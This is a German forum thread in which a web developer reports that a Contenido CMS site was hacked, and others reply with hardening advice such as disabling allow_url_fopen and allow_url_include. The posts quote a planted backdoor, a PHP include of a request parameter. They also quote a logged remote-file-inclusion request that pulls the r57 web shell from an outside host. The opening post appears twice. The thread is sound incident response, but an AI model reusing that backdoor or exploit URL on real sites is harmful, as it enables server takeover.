Contenido 4.6.XX gehackt
-
- Beiträge: 55
- Registriert: Fr 22. Apr 2005, 15:41
- Wohnort: Berlin
- Kontaktdaten:
Contenido 4.6.XX gehackt
Hallo Leute,
ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)
Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.
Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.
Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.
Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.
Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.
MfG
Edit: Hab den Titel des Beitrags geändert.
ich habe für eine befreundete Firma ein Projekt mit Contenido umgesetzt und dieses auch regelmäßig weiter betreut. Da wir in der nächsten Zeit einen Relaunch machen wollen, habe ich parallel zur alten 4.6.-Version auch 4.8. installiert (in der gleichen Datenbank, die neuen Taballen heißen alle con2_...). Die alte Contenido-Version lag in einem Unterordner "/c", die neue Version liegt direkt im Webroot. Die Domain liegt bei 1und1 in einen Webpack mit folgenden Daten:
Server: Apache/1.3.34 Ben-SSL/1.55
MySQL: 4.0.27-standard-log
PHP: 4.4.8
(leider sind alle PHP-Funktionen - auch die üblichen Verdächtigen - an, keine Ahnung ob 1und1 da auch andere Optionen anbietet)
Vor drei Tagen habe ich dann beide Versionen upgedatet, die 4.6. auf 4.6.24 und die 4.8. auf 4.8.6., wähnte mich also sicher.
Heute morgen mussten wir festellen, dass wir (anscheindend von einer türkischen Gruppe) gehackt wurden. Im Rootverzeichnis fand ich eine Datei "errors.php" mit dem Inhalt "<?include($_REQUEST["error"] . "/errors.php");?>". Im Verzeichnis "/contenido/logs" lag eine Datei "logs.php", die anscheinend den schädlichen Code enthielt. Weiterhin habe ich einige sehr große Filmdateien im Verzeichnis "/c/cms/upload/logos/.../" gefunden. Und schließlich waren die index.html und die front_content.php unter "/c/cms/" durch andere Dateien ersetzt.
Aufgrund der besonderen Situation mit den zwei Contenido-Versionen kann ich nicht genau sagen, ob es wirklich die 4.6.-Variante war, die gehackt wurde, aber es scheint mir wahrscheinlich.
Nun zu meinen Fragen: Die besagten Dateien habe ich gelöscht. Wie gehe ich jetzt weiter vor? Kann ich alle Dateien löschen, dann "frische" Contenido-Varianten hochladen und dann auf Update gehen, so dass die bestehende Datenbank übernommen wird? Oder könnte sich in der Datenbank auch noch irgendwas verstecken? Falls ja, wie kann ich diese säubern (ein aktuelles Backup gibt es - natürlich - nicht)? Und schließlich: Warum ist das Ganze überhaupt passiert? Ich dachte, es seien alle Lücken geschlossen.
Ich hoffe, ich habe nichts vergessen. Falls noch Infos zur Fehleranalyse fehlen bitte Bescheid sagen.
MfG
Edit: Hab den Titel des Beitrags geändert.
Zuletzt geändert von Polardrache am Mo 23. Jun 2008, 12:59, insgesamt 1-mal geändert.
-
- Beiträge: 55
- Registriert: Fr 22. Apr 2005, 15:41
- Wohnort: Berlin
- Kontaktdaten:
Nachtrag
... hab gerade mal meine Logfiles durchgeschaut: Die Dateien "errors.php" und "log.php" sind schon länger auf dem Server gewesen. Offensichtlich ist der Angriff noch vor dem Update erfolgt. Damit erledigt sich die letzte Frage - die anderen bleiben natürlich aktuell.
-
- Beiträge: 55
- Registriert: Fr 22. Apr 2005, 15:41
- Wohnort: Berlin
- Kontaktdaten:
Weitere Informationen
Die Analyse meiner Logfiles hat gezeigt, dass kurz bevor zum ersten Mal erfolgreich auf die Datei "log.php" zugegriffen wurde, eine andere Anfrage von der gleichen IP kam: "//contenido/backend_search.php?contenido_path=http://www.r57shell.in/r57.txt????"
Auf die Datei liefen wohl vorher schon etliche Anfragen.
Auf die Datei liefen wohl vorher schon etliche Anfragen.
-
- Beiträge: 967
- Registriert: Do 15. Apr 2004, 17:12
- Wohnort: Eschborn-Niederhöchstadt
- Kontaktdaten:
-
- Beiträge: 55
- Registriert: Fr 22. Apr 2005, 15:41
- Wohnort: Berlin
- Kontaktdaten:
Da hilft nur die Sache im Auge zu behalten.
Sollte man Grundsätzlich machen:
PS: Alte Benutzerkennungen - sobald nicht mehr gebraucht - aus der Datenbank löschen!
Sollte man Grundsätzlich machen:
- htaccess-Passwortschutz in Contenido-Verzeichnis
- alpha-numerische Passwörter mit Sonderzeichen (immer und überall) mind. 8 Zeichen
- php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
- contenido Benutzerkennungen ändern, bzw. überflüssige (wie Admin) löschen.
- phpmyadmin nicht installieren, oder in einem Verzeichnis, das nicht phpmyadmin heißt.
PS: Alte Benutzerkennungen - sobald nicht mehr gebraucht - aus der Datenbank löschen!
Could I help you... you can help me... buy me a coffee ☕. (vielen ❤ Dank an: Seelauer, Peanut, fauxxami )
xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung
Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType
xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung
Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType
-
- Beiträge: 55
- Registriert: Fr 22. Apr 2005, 15:41
- Wohnort: Berlin
- Kontaktdaten:
-
- Beiträge: 3626
- Registriert: Di 12. Okt 2004, 20:00
- Wohnort: Voerde (Niederrhein)
- Kontaktdaten:
Die Einstellung heißt "allow_url_fopen":rethus hat geschrieben:php.ini: allow_url_follow und (php5) allow_url_include deaktivieren.
http://php.net/manual/de/filesystem.configuration.php
@Dogger77:
Ja, bei der allow_url_fopen verhau ich mich irgendwie andauernd... kommt immer irgend was mit follow raus... keine Ahnung warum
Ja, bei der allow_url_fopen verhau ich mich irgendwie andauernd... kommt immer irgend was mit follow raus... keine Ahnung warum

Could I help you... you can help me... buy me a coffee ☕. (vielen ❤ Dank an: Seelauer, Peanut, fauxxami )
xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung
Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType
xstable.com: - HighSpeed Hosting, Domains, DomainReselling, Linux-Administration
suther.de: - App-Programierung, High-Performance-Webpages, MicroServices, API-Anbindungen & Erstellung
Software... ein Blick wert: GoogleCalender Eventlist, xst_dynamic_contentType